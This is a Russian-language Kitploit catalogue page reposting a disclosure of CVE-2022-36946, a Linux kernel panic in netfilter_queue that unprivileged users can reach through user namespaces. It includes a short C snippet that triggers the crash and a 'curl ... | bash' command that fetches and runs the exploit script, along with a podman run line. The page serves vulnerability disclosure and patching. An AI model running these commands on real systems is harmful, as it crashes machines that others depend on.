Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-36946 — CVE-2022-36946 паника ядра Linux в netfilter_queue | Kitploit
Инструменты/GitHubGitHub/pwnzer0tt1/cve-2022-36946
Повышение привилегийАнализ уязвимостейЭксплуатацияПобег из Контейнера
GitHubpwnzer0tt1/cve-2022-36946

CVE-2022-36946

CVE-2022-36946 паника ядра Linux в netfilter_queue

Репозиторий
2252 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Сайт

CVE-2022-36946

Сообщили: Domingo Dirutigliano и Nicola Guerrera

Работая над firegex, нашим межсетевым экраном для CTF-соревнований в формате Attack-Defence, мы наткнулись на несколько паник ядра.

Это странное поведение было изолировано и проанализировано, что привело к обнаружению потенциальной уязвимости в модуле netfilter, а именно в nfnetlink.

Как это работает?

Паника ядра происходит при отправке вердикта nf_queue с атрибутом nfta_payload нулевого размера.

root@kitploit:~
nlh = nfq_nlmsg_put(buf, NFQNL_MSG_VERDICT, queue_num);
nfq_nlmsg_verdict_put_pkt(nlh, NULL, 0);
nfq_nlmsg_verdict_put(nlh, 1, NF_ACCEPT );

Это происходит потому, что стек IP/IPv6 извлекает заголовок IP(v6) из пакета после входного хука.

Таким образом, если пользователь обрезает пакет до размера меньше заголовка, вызов skb_pull() приведёт к повреждению skb и вызовет панику.

Попробуйте выполнить curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash также от имени непривилегированного пользователя (подробнее ниже).

Действительно ли нам нужен root...?

Используя пространства имён (namespaces) Linux, в частности пользовательские пространства имён (включаемые через kernel.unprivileged_userns_clone=1), обычный пользователь может создать сетевое пространство имён, что позволит ему использовать те же примитивы ядра, которые вызывают панику.

Это позволит использовать уязвимость без прав root.

Это не редкий сценарий: например, podman использует эту опцию для запуска своих (rootless) контейнеров, и на некоторых дистрибутивах эта опция включена по умолчанию.

Вы также можете попробовать выполнить эксплойт без прав root, выполнив:

root@kitploit:~
podman run -it --cap-add NET_ADMIN ghcr.io/pwnzer0tt1/cve-2022-36946

или если вы хотите протестировать его на лету (требуются только tar и curl):

root@kitploit:~
curl -sLf https://pwnzer0tt1.it/cve-2022-36946.sh | bash

Исправление

Исправлено в ядре Linux 5.19 посмотреть diff

Оригинальный патч от команды безопасности ядра Linux здесь

Требования для эксплуатации уязвимости:

  • Уязвимое ядро Linux
  • Возможность CAP_NET_ADMIN (также в пространстве имён)

Почему panic6?

Оно сработало с 6-й попытки, поэтому мы оставили это название.

Новый способ выключить ваш ПК:

terminal_speed

Презентация для DevFest-2023

https://docs.google.com/presentation/d/1SoSFxpfQ02_ZkLKFMxpkgst3F56sBiQN3FfNfTutxUs/edit?usp=sharing

Скачать инструмент